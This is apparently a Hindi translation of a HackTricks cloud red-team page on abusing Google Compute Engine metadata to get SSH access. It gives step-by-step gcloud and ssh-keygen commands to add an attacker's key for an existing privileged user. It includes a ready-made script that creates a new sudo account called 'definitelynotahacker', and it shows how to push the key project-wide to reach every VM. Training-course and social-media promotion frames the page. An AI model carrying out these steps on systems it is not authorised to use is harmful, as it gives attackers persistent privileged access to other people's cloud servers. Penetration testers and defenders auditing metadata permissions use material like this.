GCP - कस्टम SSH मेटाडेटा जोड़ें
Reading time: 6 minutes
GCP - कस्टम SSH मेटाडेटा जोड़ें
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
मेटाडेटा को संशोधित करना
एक उदाहरण पर मेटाडेटा संशोधन महत्वपूर्ण सुरक्षा जोखिमों का कारण बन सकता है यदि एक हमलावर आवश्यक अनुमतियाँ प्राप्त कर लेता है।
कस्टम मेटाडेटा में SSH कुंजियों का समावेश
GCP पर, Linux सिस्टम अक्सर Python Linux Guest Environment for Google Compute Engine से स्क्रिप्ट निष्पादित करते हैं। इसका एक महत्वपूर्ण घटक accounts daemon है, जिसे नियमित रूप से उदाहरण मेटाडेटा एंडपॉइंट की अधिकार प्राप्त SSH सार्वजनिक कुंजियों के लिए अपडेट की जांच करने के लिए डिज़ाइन किया गया है।
इसलिए, यदि एक हमलावर कस्टम मेटाडेटा को संशोधित कर सकता है, तो वह डेमन को एक नई सार्वजनिक कुंजी खोजने के लिए मजबूर कर सकता है, जिसे संसाधित किया जाएगा और स्थानीय सिस्टम में एकीकृत किया जाएगा। कुंजी को एक मौजूदा उपयोगकर्ता के ~/.ssh/authorized_keys
फ़ाइल में जोड़ा जाएगा या sudo
अनुमतियों के साथ एक नए उपयोगकर्ता को संभावित रूप से बनाया जाएगा, कुंजी के प्रारूप के आधार पर। और हमलावर होस्ट को समझौता करने में सक्षम होगा।
मौजूदा विशेषाधिकार प्राप्त उपयोगकर्ता के लिए SSH कुंजी जोड़ें
- उदाहरण पर मौजूदा SSH कुंजियों की जांच करें:
- मौजूदा SSH कुंजियों को खोजने के लिए उदाहरण और इसके मेटाडेटा का वर्णन करने के लिए कमांड निष्पादित करें। आउटपुट में प्रासंगिक अनुभाग
metadata
के तहत होगा, विशेष रूप सेssh-keys
कुंजी के तहत।
gcloud compute instances describe [INSTANCE] --zone [ZONE]
- SSH कुंजियों के प्रारूप पर ध्यान दें: उपयोगकर्ता नाम कुंजी से पहले आता है, जो एक कोलन द्वारा अलग होता है।
- SSH कुंजी मेटाडेटा के लिए एक टेक्स्ट फ़ाइल तैयार करें:
- उपयोगकर्ता नाम और उनके संबंधित SSH कुंजियों के विवरण को
meta.txt
नामक टेक्स्ट फ़ाइल में सहेजें। यह नए कुंजियों को जोड़ते समय मौजूदा कुंजियों को बनाए रखने के लिए आवश्यक है।
- लक्षित उपयोगकर्ता के लिए एक नई SSH कुंजी उत्पन्न करें (
alice
इस उदाहरण में):
ssh-keygen
कमांड का उपयोग करके एक नई SSH कुंजी उत्पन्न करें, यह सुनिश्चित करते हुए कि टिप्पणी फ़ील्ड (-C
) लक्षित उपयोगकर्ता नाम से मेल खाता है।
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
- नई सार्वजनिक कुंजी को
meta.txt
में जोड़ें, उदाहरण के मेटाडेटा में पाए गए प्रारूप की नकल करते हुए।
- उदाहरण की SSH कुंजी मेटाडेटा को अपडेट करें:
gcloud compute instances add-metadata
कमांड का उपयोग करके उदाहरण पर अपडेट की गई SSH कुंजी मेटाडेटा लागू करें।
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
- नई SSH कुंजी का उपयोग करके उदाहरण तक पहुँचें:
- लक्षित उपयोगकर्ता (
alice
इस उदाहरण में) के संदर्भ में शेल तक पहुँचने के लिए नई कुंजी का उपयोग करके SSH के साथ उदाहरण से कनेक्ट करें।
ssh -i ./key alice@localhost
sudo id
एक नया विशेषाधिकार प्राप्त उपयोगकर्ता बनाएं और SSH कुंजी जोड़ें
यदि कोई दिलचस्प उपयोगकर्ता नहीं मिलता है, तो एक नया उपयोगकर्ता बनाया जा सकता है जिसे sudo
अनुमतियाँ दी जाएंगी:
# define the new account username
NEWUSER="definitelynotahacker"
# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt
# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt
# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
SSH keys at project level
क्लाउड वातावरण में कई वर्चुअल मशीनों (VMs) तक SSH पहुंच को बढ़ाने के लिए परियोजना स्तर पर SSH कुंजी लागू करना संभव है। यह दृष्टिकोण परियोजना के भीतर किसी भी उदाहरण तक SSH पहुंच की अनुमति देता है जिसने स्पष्ट रूप से परियोजना-व्यापी SSH कुंजी को अवरुद्ध नहीं किया है। यहाँ एक संक्षिप्त मार्गदर्शिका है:
- परियोजना स्तर पर SSH कुंजी लागू करें:
gcloud compute project-info add-metadata
कमांड का उपयोग करकेmeta.txt
से SSH कुंजी को परियोजना की मेटाडेटा में जोड़ें। यह क्रिया सुनिश्चित करती है कि SSH कुंजी परियोजना में सभी VMs के बीच मान्यता प्राप्त हैं, जब तक कि किसी VM में "ब्लॉक प्रोजेक्ट-व्यापी SSH कुंजी" विकल्प सक्षम नहीं है।
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
- परियोजना-व्यापी कुंजी का उपयोग करके उदाहरणों में SSH करें:
- परियोजना-व्यापी SSH कुंजी के साथ, आप परियोजना के भीतर किसी भी उदाहरण में SSH कर सकते हैं। जो उदाहरण परियोजना-व्यापी कुंजी को अवरुद्ध नहीं करते हैं, वे SSH कुंजी को स्वीकार करेंगे, जिससे पहुंच प्राप्त होगी।
- किसी उदाहरण में SSH करने का एक सीधा तरीका
gcloud compute ssh [INSTANCE]
कमांड का उपयोग करना है। यह कमांड आपके वर्तमान उपयोगकर्ता नाम और परियोजना स्तर पर सेट की गई SSH कुंजी का उपयोग करके पहुंच प्राप्त करने का प्रयास करता है।
References
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।